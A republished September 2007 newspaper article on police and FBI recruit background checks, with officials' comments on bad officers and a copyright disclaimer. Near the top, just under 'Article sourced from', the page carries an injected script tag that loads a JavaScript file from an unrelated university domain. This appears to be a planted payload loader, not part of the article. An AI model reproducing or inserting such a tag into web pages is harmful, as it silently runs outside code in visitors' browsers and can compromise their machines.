NEWS > 04 September 2007

Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Tyler Morning Telegraph - Tyle
04 September 2007

This article appeared in the above title/site.
To view it in its entirity click this link.

Police Recruits Given Thorough

In an effort to recruit only the best officers, departments put prospective employees through a battery of tests and scenarios -- but sometimes bad officers are able to slip through the cracks.

FBI Special Agent Peter Galbraith said when a person applies to the FBI a lengthy process begins where agents actually go to the hospital where the person was born.

"I don't believe there is an agency that does a more complex background check than we do, but even with all that we have had our share of bad agents," he said.

Tyler Police Chief Gary Swindle said officers go to an applicant's former job, to the city where they live and interview friends and family.

"We do everything that we can and sometimes that still isn't enough," he said.

Swindle said his department gives its potential recruits scenarios such as asking them what they would do if they saw a supervisor take a candy bar and a cold drink from a store while working a burglary.

"Little things like how they answer a question about honesty can tell us a lot about them and we try to utilize every tool we can to ensure we are getting the best possible officers to serve the public," he said.

Smith County Sheriff J.B. Smith said his department tries to hire only the best, but added that there is no one who can possibly know what is going through the minds of 200-plus employees.

"I had a man I trusted and who I basically helped raise stand here in my office with tears running down his face, and I believed him when he said he wasn't guilty," he said. "I just couldn't believe he was guilty."

Smith was referring to his former Lt. David Beddingfield, who was convicted on drug charges and then later on failing to meet conditions of his probation.

"People can manipulate you into believing what they are saying and that is why when we have something that doesn't set right with me concerning a deputy I call for help from outside," he said.

Galbraith said most officer offenses his agency deals with concern violation of civil rights and excessive use of force, but added they also work corruption.

"There are those people who get into law enforcement just to be corrupt, but the majority of bad officers are those who use excessive force," he said.

Galbraith and others said the best way to reduce the number of bad officers is better communication between agencies.

"We can cut down the number of bad officers by teaching more integrity classes to recruits and by sharing information concerning officers who have been problems at former departments," he said. "We are looking to weed out those officers who are corrupt and are habitual at offending citizens."

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Tyler Morning Telegraph - Tyle04 September 2007

Police Recruits Given Thorough

EiP Comments:

Tyler Morning Telegraph - Tyle
04 September 2007